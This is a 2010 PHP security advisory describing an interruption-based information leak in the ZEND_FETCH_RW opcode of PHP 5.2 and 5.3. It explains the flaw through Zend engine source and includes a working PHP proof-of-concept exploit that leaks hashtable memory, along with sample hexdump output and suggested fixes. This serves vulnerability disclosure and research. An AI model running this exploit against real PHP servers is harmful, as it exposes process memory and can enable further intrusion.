MOPS-2010-053: PHP ZEND_FETCH_RW Opcode Interruption Information Leak Vulnerability

May 31st, 2010

PHP’s ZEND_FETCH_RW opcode can be abused for information leakage by a userspace error handler interruption attack.

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.

Detailed information

This vulnerability is similar to the other interruption vulnerabilities discussed in Stefan Esser’s talk about interruption vulnerabilities at BlackHat USA 2009 (SLIDES,PAPER). The basic ideas of these exploits is to use a user space interruption of an internal function to destroy the arguments used by the internal function in order to cause information leaks or memory corruptions. The ZEND_FETCH_RW opcode interruption is different from most of the previously disclosed interruption vulnerabilities because it does not interrupt an internal PHP function, but an opcode handler of the Zend Engine. This is different because the usual recommendation to disable call time pass by reference to fix this vulnerability does not work here.

To understand how the ZEND_FETCH_RW opcode can be interrupted by a userspace error handler it is necessary to look into the implementation of the opcode.

ZEND_VM_HANDLER(86, ZEND_FETCH_RW, CONST|TMP|VAR|CV, ANY)
{
    ZEND_VM_DISPATCH_TO_HELPER_EX(zend_fetch_var_address_helper, type, BP_VAR_RW);
}

The handler itself does only call the helper function zend_fetch_var_address_helper().

ZEND_VM_HELPER_EX(zend_fetch_var_address_helper, CONST|TMP|VAR|CV, ANY, int type)
{
    zend_op *opline = EX(opline);
    ...

    if (OP1_TYPE != IS_CONST && Z_TYPE_P(varname) != IS_STRING) {
        ...
    }

    if (opline->op2.u.EA.type == ZEND_FETCH_STATIC_MEMBER) {
        ...
    } else {
        ...

        if (zend_hash_find(target_symbol_table, varname->value.str.val, varname->value.str.len+1, (void **) &retval) == FAILURE) {
            switch (type) {
                case BP_VAR_R:
                case BP_VAR_UNSET:
                    zend_error(E_NOTICE,"Undefined variable: %s", Z_STRVAL_P(varname));
                    /* break missing intentionally */
                case BP_VAR_IS:
                    retval = &EG(uninitialized_zval_ptr);
                    break;
                case BP_VAR_RW:
                    zend_error(E_NOTICE,"Undefined variable: %s", Z_STRVAL_P(varname));
                    /* break missing intentionally */
                case BP_VAR_W: {
                        zval *new_zval = &EG(uninitialized_zval);

                        Z_ADDREF_P(new_zval);
                        zend_hash_update(target_symbol_table, varname->value.str.val, varname->value.str.len+1, &new_zval, sizeof(zval *), (void **) &retval);
                    }
                    break;
                EMPTY_SWITCH_DEFAULT_CASE()
            }
        }

We can see that in case of undefined variables a E_NOTICE is triggered. This will also trigger a user registered user space error handler. Furthermore we can see that in case of BP_VAR_RW not only the error handler is triggered, but also the non existing variable is added with an emtpy value to the symbol table. An attacker can use this to leak memory, because when a variable variable is used it is possible to change the ZVAL containing the variable name inside the error handler. This is demonstrated in the attached POC.

Proof of concept, exploit or instructions to reproduce

The following exploit code will leak the content of a hashtable to the attacker. The output will look like:

Undefined variable: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hexdump
-------
00000000: 08 00 00 00 07 00 00 00 01 00 00 00 41 41 41 41   ............AAAA
00000010: 00 00 00 00 00 00 00 00 58 30 B5 00 01 00 00 00   ........X0......
00000020: 58 30 B5 00 01 00 00 00 58 30 B5 00 01 00 00 00   X0......X0......
00000030: 68 01 B5 00 01 00 00 00 74 43 30 00 01 00 00 00   h.......tC0.....
00000040: 00 00 01 -- -- -- -- -- -- -- -- -- -- -- -- --   ...

And the exploit is as easy as:

<?php
error_reporting(E_ALL);

/* Initialize */
$a = 1;
$b = new stdClass();

/* Setup Error Handler */
set_error_handler("my_error");
   
/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
    $GLOBALS['a'] = str_repeat("A", 39);
} else {
    $GLOBALS['a'] = str_repeat("A", 67);       
}

/* Trigger the Code */

$$a .= "FOUNDME";

foreach ($GLOBALS as $key => $val) {
    if ($val == "FOUNDME") {
        hexdump($key);
        break;
    }
}

function my_error($x,$msg)
{
    echo "$msg\n";
    parse_str("x=1", $GLOBALS['a']);
    return 1;
}

?>

Notes

In order to fix this vulnerability it would be possible to either remove the E_NOTICE error or to check the operand type again inside zend_fetch_var_address_helper() before actually creating the new variable and error out in case of a mismatch.




blog comments powered by Disqus